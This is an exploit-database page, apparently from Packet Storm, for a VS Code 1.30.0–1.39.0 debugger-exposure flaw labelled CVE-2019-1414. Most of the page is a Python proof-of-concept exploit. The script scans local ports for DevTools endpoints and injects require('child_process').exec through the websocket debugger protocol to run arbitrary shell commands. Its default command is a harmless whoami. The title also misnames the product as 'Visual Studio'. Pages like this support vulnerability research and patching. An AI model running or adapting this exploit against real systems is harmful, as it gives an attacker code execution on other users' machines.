PACKETSTORM 7.8 HIGH

📄 Visual Studio 1.39.0 Remote Debugger_PACKETSTORM:212502

7.8 / 10
HIGH
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Description

Visual Studio versions 1.30.0 through 1.39.0 had a remote debugger enabled by default that could cause multiple security issues. Code included to scan for any listeners...
Visit Original Source

Basic Information

ID PACKETSTORM:212502
Published Dec 5, 2025 at 00:00

Affected Product

Affected Versions =============================================================================================================================================
| # Title : Visual Studio 1.30.0 → 1.39.0 Remote Debugger Exploit |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits) |
| # Vendor : https://code.visualstudio.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/210646/ & CVE-2019-1414 https://packetstorm.news/download/210646

[+] Summary : vulnerability in Visual Studio Code affecting versions 1.30.0 through 1.39.0.
In these versions, the remote debugger (Node.js Debug Listener) was enabled by default and listened on a local TCP port without proper restrictions. This allowed any untrusted local user to:
Enumerate the listening port Connect to the debugger endpoint Access the internal DevTools JSON API
Interact with the running VS Code process Potentially escape sandboxes or manipulate the editor environment
The issue was discovered and reported by Tavis Ormandy (Google Project Zero).
Microsoft patched the vulnerability in Visual Studio Code 1.39.1, disabling the debug listener by default and improving access restrictions.
Affected users should upgrade to the patched version or later to avoid unauthorized debugger access by local users.

[+] POC : python poc.py

#!/usr/bin/env python3
"""
VS Code Remote Debugger Exploit
by indoushka
CVE-2019-1414 (or similar - this was patched in later versions)
"""

import requests
import json
import websocket
import sys
import subprocess
import threading
from urllib.parse import urlparse

def find_vscode_debug_ports():
"""Find potential VS Code debugger ports"""
ports = []
try:
# Try netstat approach
result = subprocess.run(['netstat', '-4nlt'], capture_output=True, text=True)
for line in result.stdout.split('\n'):
if 'LISTEN' in line and '127.0.0.1' in line:
parts = line.split()
if len(parts) > 3:
addr = parts[3]
if '127.0.0.1:' in addr:
port = addr.split(':')[-1]
ports.append(int(port))
except:
pass

# Common VS Code debug ports range
common_ports = list(range(59000, 65535))
return ports + common_ports

def check_debugger_endpoint(port):
"""Check if this port has VS Code debugger"""
try:
response = requests.get(f'http://localhost:{port}/json/list', timeout=2)
if response.status_code == 200:
data = response.json()
if data and len(data) > 0:
return data
except:
pass
return None

def exploit_websocket(ws_url, command):
"""Execute command through WebSocket debug interface"""
try:
# Connect to WebSocket
ws = websocket.create_connection(ws_url)

# Debugger protocol messages to execute command
setup_messages = [
{
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": f"require('child_process').exec('{command}', (error, stdout, stderr) => {{ console.log(stdout); }})",
"includeCommandLineAPI": True,
"silent": False,
"returnByValue": False
}
}
]

for msg in setup_messages:
ws.send(json.dumps(msg))
response = ws.recv()
print(f"[+] Response: {response}")

ws.close()
return True
except Exception as e:
print(f"[-] WebSocket exploit failed: {e}")
return False

def main():
print("[*] VS Code Remote Debugger Exploit PoC")
print("[*] Scanning for debugger endpoints...")

# Find potential ports
ports = find_vscode_debug_ports()
print(f"[*] Checking {len(ports)} potential ports...")

vulnerable_endpoints = []

for port in ports[:100]: # Limit to first 100 ports for speed
sys.stdout.write(f"\r[*] Checking port {port}...")
sys.stdout.flush()

endpoints = check_debugger_endpoint(port)
if endpoints:
print(f"\n[+] Found debugger on port {port}!")
vulnerable_endpoints.extend(endpoints)

if not vulnerable_endpoints:
print("\n[-] No vulnerable debug endpoints found")
return

print(f"\n[+] Found {len(vulnerable_endpoints)} vulnerable endpoint(s)")

for endpoint in vulnerable_endpoints:
print(f"\n[+] Target: {endpoint.get('title', 'Unknown')}")
print(f" Type: {endpoint.get('type', 'Unknown')}")
print(f" WebSocket: {endpoint.get('webSocketDebuggerUrl', 'N/A')}")

# Test with a simple command
ws_url = endpoint.get('webSocketDebuggerUrl')
if ws_url:
# Replace with your test command
test_command = "whoami > /tmp/vscode_poc.txt && echo 'Exploit successful'"
if sys.platform == "win32":
test_command = "whoami > C:\\temp\\vscode_poc.txt && echo Exploit successful"

print(f"[*] Attempting to execute: {test_command}")
if exploit_websocket(ws_url, test_command):
print("[+] Command execution attempted!")
else:
print("[-] Command execution failed")

if __name__ == "__main__":
main()


Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.